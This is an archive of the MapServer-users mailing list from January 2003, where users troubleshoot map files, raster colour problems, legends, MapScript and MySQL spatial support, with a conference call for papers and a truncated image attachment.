2003 4:03 PM To: mapserver-users at lists.gis.umn.edu Subject: [Mapserver-users] little map in a big box I'm just getting started with MapServer, and I'm having problems displaying a PNG file. The visible image of the map takes up only a tiny, postage-stamp-sized area of the total image, most of which is white space. I looked on the list archive, and saw a similar problem diagnosed as inconsistent use of units, but I really think I got all of that right, with everything in meters -- then redid it with everything in DD, and got the same problem, only my visible map image was even smaller. I got the bounding coordinates from the theme properties of an ArcView layer using the same image, the image size from viewing the PNG in a Netscape window and reading the document title above the menu bar (i.e. 'baymap.png (PNG Image, 721x640 pixels)'), and computed the distance per pixel as (xmin - xmax)/721 and similarly for the y dimension. I'll attach my .map and .wld files (the version in meters) and hope someone can help. ecoatlas.map: ------------------ cut here ---------------------- NAME CALCTYEX1 EXTENT 462228 631000 4082000 4303000 SIZE 721 640 UNITS METERS SHAPEPATH "C:\inetpub\wwwroot\sfbay\data\" LAYER data "c:\inetpub\wwwroot\sfbay\data\baymap.png" NAME "bayraster" STATUS DEFAULT TYPE RASTER END # LAYER END # FILE ------------------ cut here ---------------------- baymap.wld: ------------------ cut here ---------------------- 234 0 0 345 462228 4303000 ------------------ cut here ---------------------- Many thanks for any help you can offer. -- Chris Black California Academy of Sciences cblack at calacademy.org _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From steve.lime at dnr.state.mn.us Fri Jan 24 13:30:56 2003 From: steve.lime at dnr.state.mn.us (Steve Lime) Date: Fri, 24 Jan 2003 15:30:56 -0600 Subject: [Mapserver-users] CLASS Expressions Message-ID: Should be fine, although I've never tried anything this complex. There's a possibility the 2 slashes will be interpreted wrong (as an embeded regex) so let me know if it doesn't work. Delimit it with ( )'s. You don't need a CLASSITEM for logical expressions... Steve Stephen Lime Data & Applications Manager Minnesota DNR 500 Lafayette Road St. Paul, MN 55155 651-297-2937 >>> "John McCue" 01/24/03 02:12PM >>> I would like to use an expression something like: CLASS NAME "0 - 5%" EXPRESSION (([RACCYBLACK] + [RACCYASIAN] + [RACCYOTH])/[POPCY]*100 >= 0 AND ([RACCYBLACK] + [RACCYASIAN] + [RACCYOTH])/[POPCY]*100 <= 5) COLOR 120 120 255 END Is this valid in MapServer (v.3.6.3, Windows)? [RACCYBLACK], [RACCYASIAN], [RACCYOTH] and [POPCY] are all fields in the dbf of my shape file. - Do I need to delimit the expression with / /? - What field should appear in the CLASSITEM? Thanks, John _______________________________________________ Mapserver-users mailing list Mapserver-users at lists.gis.umn.edu http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From rjames57 at yahoo.com Fri Jan 24 14:51:58 2003 From: rjames57 at yahoo.com (randy james) Date: Fri, 24 Jan 2003 14:51:58 -0800 (PST) Subject: [Mapserver-users] Raster geotiff turns background yellow Message-ID: <20030124225158.98637.qmail@web12503.mail.yahoo.com> Hi list Has anyone experienced problems with a geotiff file making the image background turn yellow? (or any color) The orthophoto (geotiff) that causes the problem is my fist attempt at projecting a raster on the fly. I have tried importing the ortho into GRASS and than exporting it again, but it did not make a difference. The gdalinfo utility output is quite large for the ortho causing the problem, but once its exported from GRASS it is the same as the orthos that work (i think) I'm wondering if its something to to with projecting a raster or is it the file format. I will read and try the gdal_translate utility next i guess MapServer version 3.6.4 OUTPUT=PNG OUTPUT=JPEG OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=TTF SUPPORTS=WMS_SERVER INPUT EPPL7 INPUT=JPEG INPUT=POSTGIS INPUT=GDAL INPUT=SHAPEFILE Cheers Randy __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com From woodbri at swoodbridge.com Fri Jan 24 16:11:17 2003 From: woodbri at swoodbridge.com (woodbri at swoodbridge.com) Date: Fri, 24 Jan 2003 19:11:17 -0500 Subject: [Mapserver-users] Raster geotiff turns background yellow In-Reply-To: <20030124225158.98637.qmail@web12503.mail.yahoo.com> Message-ID: <3E318FD5.21451.459AFF1@localhost> Randy, I assume that the color change is taking place when view in a browser? Have you tried to view it in an image viewer? Sometimes the browser pre allocates an bunch of colors and when you load the geotiff, it does not have enough slots in the color lookup table and has to assign the additional colors to existing ones. Some software is better at this than others, but it is typically the reason why your get the type of color change you described. -Steve W. On 24 Jan 2003 at 14:51, randy james wrote: > Hi list > > Has anyone experienced problems with a geotiff file > making the image background turn yellow? (or any > color) > > The orthophoto (geotiff) that causes the problem is my > fist attempt at projecting a raster on the fly. I have > tried importing the ortho into GRASS and than > exporting it again, but it did not make a difference. > > The gdalinfo utility output is quite large for the > ortho causing the problem, but once its exported from > GRASS it is the same as the orthos that work (i think) > > I'm wondering if its something to to with projecting a > raster or is it the file format. I will read and try > the gdal_translate utility next i guess > > MapServer version 3.6.4 OUTPUT=PNG OUTPUT=JPEG > OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=TTF > SUPPORTS=WMS_SERVER INPUT EPPL7 INPUT=JPEG > INPUT=POSTGIS INPUT=GDAL INPUT=SHAPEFILE > > Cheers > Randy > > > __________________________________________________ > Do you Yahoo!? > Yahoo! Mail Plus - Powerful. Affordable. Sign up now. > http://mailplus.yahoo.com > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > From rao at rboxtech.com Thu Jan 23 02:52:26 2003 From: rao at rboxtech.com (Jaya Prasad Rao E) Date: Thu, 23 Jan 2003 18:52:26 +0800 Subject: [Mapserver-users] Problem with Labeling Message-ID: <009901c2c2cd$8459b130$ca00a8c0@ORANGUTAN> Hi, I am just starting exploring Mapserver. I modified the demo.map to mydemo.map and works fine, when I start labeling with one of the attribute called 'LOT' then I can only see the labels on the map, I can't see the full map. Please help me in this problem Here is my map file ------------------------------------------------------------------ # # Start of map file # NAME DEMO STATUS ON SIZE 800 800 EXTENT 1022.09759693411 -515.024894557018 6196.39999920664 6607.42360392416 UNITS METERS SHAPEPATH "data" IMAGECOLOR 255 255 255 #FONTSET "/windows/fonts" # # Start of web interface definition (including WMS enabling metadata) # WEB HEADER demo_header.html TEMPLATE demo.html FOOTER demo_footer.html MINSCALE 1000 MAXSCALE 1550000 IMAGEPATH "/apache/htdocs/tmp/" IMAGEURL "/tmp/" METADATA WMS_TITLE "UMN MapServer Itasca Demo" WMS_ABSTRACT "This is the UMN MapServer demonstration application for Itasca County located in north central Minnesota." WMS_ACCESSCONSTRAINTS none # change this value to match your setup WMS_ONLINERESOURCE "http://localhost/itasca/demo_init.html" WMS_SRS "EPSG:26915" END END QUERYMAP SIZE 200 200 STATUS ON STYLE HILITE COLOR 255 0 0 END # # Start of reference map # REFERENCE IMAGE graphics/reference.gif SIZE 120 120 STATUS ON COLOR -1 -1 -1 OUTLINECOLOR 255 0 0 END # # Start of legend # LEGEND KEYSIZE 18 12 LABEL TYPE BITMAP SIZE MEDIUM COLOR 0 0 89 END STATUS ON END # # Start of scalebar # SCALEBAR IMAGECOLOR 255 255 255 LABEL COLOR 255 255 255 SIZE tiny END STYLE 1 SIZE 80 2 COLOR 255 255 255 UNITS kilometers INTERVALS 1 TRANSPARENT TRUE STATUS TRUE END # # Start of symbol definitions (we're only using a few) # SYMBOL NAME 'circle' TYPE ELLIPSE POINTS 0 0 END FILLED TRUE END # # Start of layer definitions # LAYER NAME mycadas_region TYPE POLYGON STATUS DEFAULT DATA mycadas_region LABELITEM 'LOT' CLASSITEM 'LOT' CLASS LABEL ANGLE auto SIZE tiny COLOR 0 192 0 TYPE bitmap FONT Arial POSITION UR END END CLASS # Make the superhighways brighter and 2 pixels wide EXPRESSION ([LOT] >= 0 and [LOT] <= 4000) COLOR 22 202 20 SYMBOL "circle" SIZE 1 OUTLINECOLOR 0 0 0 END CLASS # Make the superhighways brighter and 2 pixels wide EXPRESSION ([LOT] > 4000 and [LOT] <= 8000) COLOR 202 20 20 SYMBOL "circle" SIZE 1 OUTLINECOLOR 0 0 0 END CLASS # Make the superhighways brighter and 2 pixels wide EXPRESSION ([LOT] > 8000 ) COLOR 22 22 202 SYMBOL "circle" SIZE 1 OUTLINECOLOR 0 0 0 END CLASS # every other county in the state EXPRESSION /./ OUTLINECOLOR 128 128 128 SIZE 1 COLOR 255 255 255 END METADATA WMS_TITLE "County Boundary" WMS_ABSTRACT "Itasca County boundary shapefile. See http://deli.dnr.state.mn.us/metadata/full/ctybdne2.html for more information." WMS_SRS "EPSG:26915" END END END # Map File ------------------------------------------------------------ Thanks in advance Best Regards Rao. From David.Fawcett at state.mn.us Thu Jan 23 08:49:08 2003 From: David.Fawcett at state.mn.us (Fawcett, David) Date: Thu, 23 Jan 2003 10:49:08 -0600 Subject: [Mapserver-users] OWASP Paper on Web Security Message-ID: I recently found a pretty good paper on building secure Web applications. The paper, by the Open Web Application Security Project, discusses the top ten Web application security vulnerabilities. You can download it from SourceForge: http://prdownloads.sourceforge.net/owasp/OWASPGuideV1.1.1.pdf?download David. David J. Fawcett GIS / Databases MN Office of Environmental Assistance 520 Lafayette Rd N St. Paul, MN 55155 651.215.0200 From wilmanro at hotmail.com Fri Jan 24 12:49:06 2003 From: wilmanro at hotmail.com (Wilman Rojas) Date: Fri, 24 Jan 2003 15:49:06 -0500 Subject: [Mapserver-users] Mapserv whit postgis in windows. Message-ID:
hola,
estoy tratando de compilar el mapserver sobre windows con postgis pero no he podido, he tenido problemas con las librerias de gd al realizar el link con las funciones de gd, me gustaria saber como puedo solucionar este problema o si alguien tiene un proyecto creado en visual c para que me lo facilitaran.
 
i?m trying to compile mapserver on windows utilizing postgis unsuccessfully.
i have had problems with gd libraries when making the link with gd functions, i would like to know how can solve this problem  or if anyone has a project created in visual c and could
help me 
 
thankyou for you help!


From sfkeller at hsr.ch Sun Jan 26 16:42:12 2003 From: sfkeller at hsr.ch (Stefan F. Keller) Date: Mon, 27 Jan 2003 01:42:12 +0100 Subject: [Mapserver-users] SVG.Open 2003 Call for Participation Message-ID: This is a multi-part MIME message --_===5674660====hsr.ch===_ Content-Type: text/plain; charset="ISO-8859-1" Content-Transfer-Encoding: 8bit Allow me to cross-post a CfP: Anyone going to present UNN MapServer's SVG-output functionality or respective extension plans? Yours, Stefan ____________________________________________________________________ Prof. Stefan F. Keller, Computer Science, HSR, http://www.integis.ch --- the forwarded message follows --- --_===5674660====hsr.ch===_ Content-Type: message/rfc822 Return-Path: Received: from karmail.ethz.ch ([129.132.127.139] verified) by hsr.ch (CommuniGate Pro SMTP 3.5.9) with ESMTP id 5673731 for sfkeller at hsr.ch; Sun, 26 Jan 2003 16:55:06 +0100 Received: by karmail.ethz.ch (Postfix on SuSE eMail Server 2.0) id 447F691E2; Sun, 26 Jan 2003 16:58:09 +0100 (CET) Delivered-To: svgmapping-outgoing at ethz.ch Received: from localhost (localhost [127.0.0.1]) by karmail.ethz.ch (Postfix on SuSE eMail Server 2.0) with ESMTP id CD12B920E for ; Sun, 26 Jan 2003 16:58:08 +0100 (CET) Received: by karmail.ethz.ch (Postfix on SuSE eMail Server 2.0, from userid 28) id A2D1291E6; Sun, 26 Jan 2003 16:58:03 +0100 (CET) Delivered-To: svgmapping-loopcheck at ethz.ch Received: from localhost (localhost [127.0.0.1]) by karmail.ethz.ch (Postfix on SuSE eMail Server 2.0) with ESMTP id A293E920E for ; Sun, 26 Jan 2003 16:58:02 +0100 (CET) Received: by karmail.ethz.ch (Postfix on SuSE eMail Server 2.0, from userid 96) id 72E0391E3; Sun, 26 Jan 2003 16:57:57 +0100 (CET) Delivered-To: svgmapping at cartography.ch Received: from localhost (localhost [127.0.0.1]) by karmail.ethz.ch (Postfix on SuSE eMail Server 2.0) with ESMTP id 25A56920E for ; Sun, 26 Jan 2003 16:57:57 +0100 (CET) Received: by karmail.ethz.ch (Postfix on SuSE eMail Server 2.0, from userid 30) id C7F7E91E6; Sun, 26 Jan 2003 16:57:51 +0100 (CET) To: svgmapping at cartography.ch Subject: SVG.Open 2003 Call for Participation Message-ID: <1043596671.3e34057fae7d1 at karmail.ethz.ch> Date: Sun, 26 Jan 2003 16:57:51 +0100 (CET) From: Andreas Neumann MIME-Version: 1.0 Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 8bit User-Agent: IMP/PHP IMAP webmail program 2.2.3 X-Originating-IP: 62.218.155.120 X-Loop: svgmapping Sender: owner-svgmapping at karmail.ethz.ch Precedence: bulk X-Virus-Scanned: by AMaViS perl-11 SVG OPEN 2003 CALL FOR PARTICIPATION Announcing SVG Open 2003, the 2nd Annual Conference on Scalable Vector Graphics! The conference will be held July 13-18, 2003 at a scenic seaside resort in Vancouver, Canada. For full details on the conference, tune your Browser to the conference Web site: http://www.svgopen.org. If you have ideas, experience, products or strategies involving SVG, then this is your chance to tell the world! Come to share your valuable information with a diverse worldwide community of SVG developers, designers and users at this annual forum on all things Scalable, Vectorial and Graphical. We invite all those interested in presenting a paper, teaching a course, exhibiting at a booth, or sponsoring the conference to submit your proposals now. Just follow the instructions at http://www.svgopen.org/2003/call.html The deadline for submitting paper abstracts and course outlines is February 28, 2003, so don't delay. AIM OF THE CONFERENCE Scalable Vector Graphics (SVG) is an exciting new World Wide Web Consortium (W3C) open standard enabling high-quality, dynamic, interactive, stylable graphics to be delivered over the Web using accessible, human-readable XML. SVG Open 2003 Conference delegates will have the opportunity to learn about the SVG standard, how to use it to create effective and compelling Web content, techniques for developing SVG software solutions, and the latest developments from the W3C. They will meet the authors of the SVG specifications and the creators of SVG applications in person, and they will have the opportunity to provide input for future development. At the SVG Open 2003 Exhibition, delegates will get a chance to see the newest SVG applications and tools at work, and they will hear early announcements of upcoming SVG product releases. SVG Open 2003 courses will enlighten on SVG, XML and related standards, graphic design and Web application design. Courses will be available at both introductory and advanced levels, in order to serve the needs of all conference attendees. TARGET AUDIENCE The conference will be of interest to the following groups of individuals: - Software developers - Web and UI designers - Web application developers - Graphic artists - Creators of database-driven content and applications - Creators of mobile computing solutions - Specialists in Geographic Information Systems, Computer-Aided Design, modelling, publishing, multimedia and other fields involving professional graphics - Creators and users of data visualization solutions, including business charting, scientific graphing, schematics, maps, etc. ORGANIZERS The conference is an SVG community project hosted by SchemaSoft (http://www.schemasoft.com) and co-hosted by the World Wide Web Consortium (http://www.w3.org). Significant supporting roles are played by Department of Computer Science - University of Victoria (http://www.uvic.ca), Institute of Cartography - ETH Zurich (http://www.karto.ethz.ch), Vancouver XML Developers Association (http:www.vanx.org) and other organizations. FURTHER INFORMATION For conference program and Web site inquiries, please e-mail svgopen at schemasoft.com or call SchemaSoft: tel (604)682-3404 x105 / fax (604) 682-3432. For exhibition and sponsorship inquiries, please e-mail congress at venuewest.com with "SVG Open 2003" in the subject line, or call Paul Morris at Venue West: tel (604)681-5226 / fax (604)681-2503. -- The more original a discovery, the more obvious it seems afterwards. -- Arthur Koestler ---------------------------------------------- Andreas Neumann - Department of Cartography Swiss Federal Institute of Technology (ETH) ETH Hoenggerberg, CH-8093 Zurich, Switzerland Phone: ++41-1-633 3031, Fax: ++41-1-633 1153 e-mail: neumann\\@karto.baug.ethz.ch www: http://www.karto.ethz.ch/neumann/ SVG.Open/Carto.net: http://www.svgopen.org/ --_===5674660====hsr.ch===_-- From stepan.kafka at centrum.cz Sun Jan 26 23:12:23 2003 From: stepan.kafka at centrum.cz (Stepan Kafka) Date: Mon, 27 Jan 2003 08:12:23 +0100 Subject: [Mapserver-users] Raster geotiff turns background yellow In-Reply-To: <20030124225158.98637.qmail@web12503.mail.yahoo.com> Message-ID: <000101c2c5d3$707bd450$7e3c2fc3@HSGIS> Hi Randy, I had the same problem with rasters exported from GRASS. The problem is, I think, on the GRASS side, you can check it by opening the raster in the some picture-viewer. I think taht the problem is in setting the same color to both palette colors 0 and 1. I solved it by changing GRASS palette not to use color 0. Good luck Stepan Kafka Help Service Remote Sensing tel: +420-327514118 mailto:kafka at email.cz http://www.bnhelp.cz > -----P?vodn? zpr?va----- > Od: mapserver-users-admin at lists.gis.umn.edu > [mailto:mapserver-users-admin at lists.gis.umn.edu]za u?ivatele randy james > Odesl?no: 24. ledna 2003 23:52 > Komu: Mapserver Users > P?edm?t: [Mapserver-users] Raster geotiff turns background yellow > > > Hi list > > Has anyone experienced problems with a geotiff file > making the image background turn yellow? (or any > color) > > The orthophoto (geotiff) that causes the problem is my > fist attempt at projecting a raster on the fly. I have > tried importing the ortho into GRASS and than > exporting it again, but it did not make a difference. > > The gdalinfo utility output is quite large for the > ortho causing the problem, but once its exported from > GRASS it is the same as the orthos that work (i think) > > I'm wondering if its something to to with projecting a > raster or is it the file format. I will read and try > the gdal_translate utility next i guess > > MapServer version 3.6.4 OUTPUT=PNG OUTPUT=JPEG > OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=TTF > SUPPORTS=WMS_SERVER INPUT EPPL7 INPUT=JPEG > INPUT=POSTGIS INPUT=GDAL INPUT=SHAPEFILE > > Cheers > Randy > > > __________________________________________________ > Do you Yahoo!? > Yahoo! Mail Plus - Powerful. Affordable. Sign up now. > http://mailplus.yahoo.com > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > From pia_rose.trias at up.edu.ph Sun Jan 26 23:37:47 2003 From: pia_rose.trias at up.edu.ph (pia rose trias) Date: Mon, 27 Jan 2003 15:37:47 +0800 Subject: [Mapserver-users] Re: help In-Reply-To: <20030125180006.24160.35516.Mailman@lists.gis.umn.edu> References: <20030125180006.24160.35516.Mailman@lists.gis.umn.edu> Message-ID: <1043653067.3e34e1cbaceda@mail.up.edu.ph> . hi,i am only new to mapserver i already have created maps using mapscript,i would like to add a legend and and a reference map to enhance my display of maps.can somebody help me on how can i start doing that using mapscript. I also would like to know how will I write for example this ranges visible in the legend red : 1000-1499 orange: 500-999 yellow: 100-499 From mladen.kotarac at ckff.si Mon Jan 27 00:34:50 2003 From: mladen.kotarac at ckff.si (Mladen Kotarac) Date: Mon, 27 Jan 2003 09:34:50 +0100 Subject: [Mapserver-users] MySQL Message-ID: <3E34EF2A.5040006@ckff.si> Altough currently slightly off-topic a link to a document of interest to Mapserver users in the near future: http://mysql.bkbits.net:8080/mysql-4.1/anno/Docs/gis.txt at 1.1 The quality of the implementation remains to be seen, yet MySQL is probably near top choice for storing vector data for Win users compared to MSSQL and Oracle - SDE (price) and postgresql - POSTGIS (CygWin hassle and performance). Any comments on MySQL implementation of opengis standards? Any thoughts of Mapserver / Mapscript support for MySQL? BR Mladen From attila at prometheus.org.yu Mon Jan 27 03:10:05 2003 From: attila at prometheus.org.yu (Attila Csipa) Date: Mon, 27 Jan 2003 12:10:05 +0100 Subject: [Mapserver-users] MySQL In-Reply-To: <3E34EF2A.5040006@ckff.si> References: <3E34EF2A.5040006@ckff.si> Message-ID: <200301271019.h0RAJRT25726@tina2.tippnet.co.yu> On Monday 27 January 2003 09:34, Mladen Kotarac wrote: > Any comments on MySQL implementation of opengis standards? > Any thoughts of Mapserver / Mapscript support for MySQL? When the postgis implementation on mysql will be available (not sure if that will be in 4.1) it will most probably be supported with mysql, so I was told. I personally have already written a non-spatial mysql connectiontype interface, but that got a lukewarm reception from the developers. Regards, Attila From pia_rose.trias at up.edu.ph Mon Jan 27 03:09:30 2003 From: pia_rose.trias at up.edu.ph (pia rose trias) Date: Mon, 27 Jan 2003 19:09:30 +0800 Subject: [Mapserver-users] How to make a legend Message-ID: <1043665770.3e35136a7e8a9@mail.up.edu.ph> hi! i am a new to webserver. I have already made my maps using mapscript,could someone help me about making legends. How can I make legends using mapscript. I also want to know how can I make a legend tempfile. From fx.gamoy at mapxplore.com Mon Jan 27 06:48:43 2003 From: fx.gamoy at mapxplore.com (fx gamoy) Date: Mon, 27 Jan 2003 14:48:43 -0000 Subject: [Mapserver-users] new flash interface application Message-ID: <000e01c2c613$3073d110$0201a8c0@mapxplore.com> C'est un message de format MIME en plusieurs parties. ------=_NextPart_000_000B_01C2C613.306A5B30 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable i have worked the flash interface developped by Ryan Grant. I am doing some tests at the following url : http://eurocite.mapxplore.com:150/flash/index.phtml Special thanks to Ryan Grant for his developements. the flash source is = very well made. this test application run under NT with mapserver 3.6.3 and = php/mapscript. Send me yours suggestions or errors encoutered... thanks best regards fx gamoy http://www.mapxplore.com/ ------=_NextPart_000_000B_01C2C613.306A5B30 Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable
i have worked the flash interface = developped by=20 Ryan Grant.
I am doing some tests at the = following url=20 :
http://euroc= ite.mapxplore.com:150/flash/index.phtml
Special thanks to Ryan Grant for his = developements.=20 the flash source is very well made.
 
this test application run under NT with = mapserver=20 3.6.3 and php/mapscript.
Send me yours suggestions or errors=20 encoutered...
thanks
best regards
fx gamoy
http://www.mapxplore.com/
 
 
------=_NextPart_000_000B_01C2C613.306A5B30-- From Rich at GreenwoodMap.com Mon Jan 27 07:00:43 2003 From: Rich at GreenwoodMap.com (Richard Greenwood) Date: Mon, 27 Jan 2003 08:00:43 -0700 Subject: [Mapserver-users] MySQL In-Reply-To: <200301271019.h0RAJRT25726@tina2.tippnet.co.yu> References: <3E34EF2A.5040006@ckff.si> <3E34EF2A.5040006@ckff.si> Message-ID: <5.2.0.9.0.20030127075903.00b1bcf0@mail.GreenwoodMap.com> --=======49026E0C======= Content-Type: text/plain; x-avg-checked=avg-ok-AA84536; charset=us-ascii; format=flowed Content-Transfer-Encoding: 8bit > >When the postgis implementation on mysql will be available (not sure if that >will be in 4.1) it will most probably be supported with mysql, so I was told. >I personally have already written a non-spatial mysql connectiontype >interface, but that got a lukewarm reception from the developers. I would be interested in hearing more about your non-spatial mysql connector. Does it provide functionality similar to the dbf join? Rich Richard W. Greenwood, PLS Greenwood Mapping, Inc. Rich at GreenwoodMap.com (307) 733-0203 http://www.GreenwoodMap.com --=======49026E0C=======-- From morissette at dmsolutions.ca Mon Jan 27 07:24:31 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Mon, 27 Jan 2003 10:24:31 -0500 Subject: [Mapserver-users] MySQL References: <3E34EF2A.5040006@ckff.si> Message-ID: <3E354F2F.A93619AC@dmsolutions.ca> Mladen Kotarac wrote: > > Any comments on MySQL implementation of opengis standards? > Any thoughts of Mapserver / Mapscript support for MySQL? > This sounds very interesting. If anyone has tried it already and has comments then I would love to hear some feedback too. -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From vatsavai at cs.umn.edu Mon Jan 27 09:01:31 2003 From: vatsavai at cs.umn.edu (Ranga Raju Vatsavai) Date: Mon, 27 Jan 2003 11:01:31 -0600 (CST) Subject: [Mapserver-users] searching archives Message-ID: <200301271701.LAA11324@pluto.cs.umn.edu> Hello All, Searching interface to all mapserver-* archives is updated, so you should able to search old and new archives from a single interface. I added a search link from each of mapserver-* archives page. One can also directly search from the following url: http://mapserver.gis.umn.edu/cgi-bin/wilma/list-name Replace list name with one of the avialable lists (mapserver-users, mapserver-dev, mapserver-demo, mapserver-docs) in the above url. Note: Archives will be updated as soon as a new message is posted, however, search interface gets updated once every day (during midnight). Let me know if you face any problems. Thanks Raju ---- From morissette at dmsolutions.ca Mon Jan 27 09:24:15 2003 From: morissette at dmsolutions.ca (Daniel Morissette) Date: Mon, 27 Jan 2003 12:24:15 -0500 Subject: [Mapserver-users] Z values from 3D shapefiles (PHP MapScript) References: <3DFF131E4E6D2D4198CDD758F35A53530278527E@postoffice.GASAI.Com> <3E19CC9D.A50DAA15@dmsolutions.ca> <1043680948.10664.9.camel@antel.com.uy> Message-ID: <3E356B3F.ADA00027@dmsolutions.ca> Eduardo Spremolla wrote: > > On Mon, 2003-01-06 at 15:36, Daniel Morissette wrote: > > MapScript supports 2D shapefiles (x,y), and measured shapefiles (x,y,m), > > but it doesn't support shapefiles with Z values (x,y,z). > > It's possible to use a measured shapefiles and set the m value as the > label of the point ? No this is not possible at the moment. > I have a dataset with the positions of a vehicle plus the time of > report, and wish to display the times along the points. > It's also possible to select a CLASS with max(m) ? so the latest got a > different icon. > Using the 'm' value in class expressions is not possible in the current version. The only thing that you can do with the 'm' values in the current implementation is access the values via the shapeObj in MapScript and use them to do your own calculations in PHP, Perl, etc. BTW, selecting max(m) in a CLASS might not fit very well in the current CLASS architecture because classes are evaluated on a per-shape basis and it's not possible to use a different class for each vertex in a polyline, doing this would imply some important changes to the way things work. Daniel -- ------------------------------------------------------------ Daniel Morissette morissette at dmsolutions.ca DM Solutions Group http://www.dmsolutions.ca/ ------------------------------------------------------------ From lfilak at medinaco.org Mon Jan 27 09:30:59 2003 From: lfilak at medinaco.org (Lowell Filak) Date: Mon, 27 Jan 2003 12:30:59 -0500 Subject: [Mapserver-users] How to make a legend Message-ID: <200301271727.h0RHRLR18153@yogi.medinaco.net> I'm not sure if this is exactly what your looking for but to generate the simplest legend you just need to adjust the settings for the legend of an existing mapObj, create the temporary file name, and save the image. Example: $map->{legend}->{label}->{color} = $map->addColor(0, 0, 89); $map->{legend}->{label}->{size} = $mapscript::MS_MEDIUM; $map->{legend}->{width} = 18; $map->{legend}->{height} = 12; ($sec,$min,$hr,$mdy,$mnth,$yr,$wdy,$ydy,$isdst) = localtime; $spid = $$; $img = $map->drawLegend(); $img->saveImage("/keys/$hr$min$sec$spid.png",$mapscript::MS_PNG,$map->{transparent},$map->{interlace},0); HTH Lowell F. The following message was sent by pia rose trias on Mon, 27 Jan 2003 19:09:30 +0800. > > hi! i am a new to webserver. I have already made my maps using mapscript,could > someone help me about making legends. How can I make legends using mapscript. > I also want to know how can I make a legend tempfile. > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users From rjames57 at yahoo.com Mon Jan 27 09:34:56 2003 From: rjames57 at yahoo.com (randy james) Date: Mon, 27 Jan 2003 09:34:56 -0800 (PST) Subject: [Mapserver-users] Raster geotiff turns background yellow In-Reply-To: <3E318FD5.21451.459AFF1@localhost> Message-ID: <20030127173456.28630.qmail@web12506.mail.yahoo.com> --0-766410954-1043688896=:28483 Content-Type: text/plain; charset=us-ascii Content-Id: Content-Disposition: inline Hi List I checked the geotiff file in the GIMP and it did not have any yellow in the image. But than i checked the image created by Mapserver and it has the yellow background on it. Soo i assume that the cgi is creating the yellow. Also i noticed that the polygon layer loaded before the geotiff has changed to the grayscale color of the geotiff. I am sending the rendered imaged created by mapserver cgi for review. Cheers Randy --- woodbri at swoodbridge.com wrote: > Randy, > > I assume that the color change is taking place when > view in a > browser? Have you tried to view it in an image > viewer? > > Sometimes the browser pre allocates an bunch of > colors and when you > load the geotiff, it does not have enough slots in > the color lookup > table and has to assign the additional colors to > existing ones. Some > software is better at this than others, but it is > typically the > reason why your get the type of color change you > described. > > -Steve W. > > On 24 Jan 2003 at 14:51, randy james wrote: > > > Hi list > > > > Has anyone experienced problems with a geotiff > file > > making the image background turn yellow? (or any > > color) > > > > The orthophoto (geotiff) that causes the problem > is my > > fist attempt at projecting a raster on the fly. I > have > > tried importing the ortho into GRASS and than > > exporting it again, but it did not make a > difference. > > > > The gdalinfo utility output is quite large for the > > ortho causing the problem, but once its exported > from > > GRASS it is the same as the orthos that work (i > think) > > > > I'm wondering if its something to to with > projecting a > > raster or is it the file format. I will read and > try > > the gdal_translate utility next i guess > > > > MapServer version 3.6.4 OUTPUT=PNG OUTPUT=JPEG > > OUTPUT=WBMP SUPPORTS=PROJ SUPPORTS=TTF > > SUPPORTS=WMS_SERVER INPUT EPPL7 INPUT=JPEG > > INPUT=POSTGIS INPUT=GDAL INPUT=SHAPEFILE > > > > Cheers > > Randy > > > > > > __________________________________________________ > > Do you Yahoo!? > > Yahoo! Mail Plus - Powerful. Affordable. Sign up > now. > > http://mailplus.yahoo.com > > _______________________________________________ > > Mapserver-users mailing list > > Mapserver-users at lists.gis.umn.edu > > > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users > > > > > _______________________________________________ > Mapserver-users mailing list > Mapserver-users at lists.gis.umn.edu > http://lists.gis.umn.edu/mailman/listinfo/mapserver-users __________________________________________________ Do you Yahoo!? Yahoo! Mail Plus - Powerful. Affordable. Sign up now. http://mailplus.yahoo.com --0-766410954-1043688896=:28483 Content-Type: image/png; name="TER104368810219096.png" Content-Transfer-Encoding: base64 Content-Description: TER104368810219096.png Content-Disposition: inline; filename="TER104368810219096.png" iVBORw0KGgoAAAANSUhEUgAAAooAAAGQCAMAAAFpCIFIAAADAFBMVEX///8S DAAAAAD////CAOaA/P8A1v8A9fUA/wD/AAD/PAD//6j/AP8AAP8A5gD/QAD/ /wD/qADW/wABAQECAgIDAwMEBAQFBQUGBgYHBwcICAgJCQkKCgoLCwsMDAwN DQ0ODg4PDw8QEBARERESEhITExMUFBQVFRUWFhYXFxcYGBgZGRkaGhobGxsc HBwdHR0eHh4fHx8gICAhISEiIiIjIyMkJCQlJSUmJiYnJycoKCgpKSkqKior KyssLCwtLS0uLi4vLy8wMDAxMTEyMjIzMzM0NDQ1NTU2NjY3Nzc4ODg5OTk6 Ojo7Ozs8PDw9PT0+Pj4/Pz9AQEBBQUFCQkJDQ0NERERFRUVGRkZHR0dISEhJ SUlKSkpLS0tMTExNTU1OTk5PT09QUFBRUVFSUlJTU1NUVFRVVVVWVlZXV1dY WFhZWVlaWlpbW1tcXFxdXV1eXl5fX19gYGBhYWFiYmJjY2NkZGRlZWVmZmZn Z2doaGhpaWlqampra2tsbGxtbW1ubm5vb29wcHBxcXFycnJzc3N0dHR1dXV2 dnZ3d3d4eHh5eXl6enp7e3t8fHx9fX1+fn5/f3+AgICBgYGCgoKDg4OEhISF 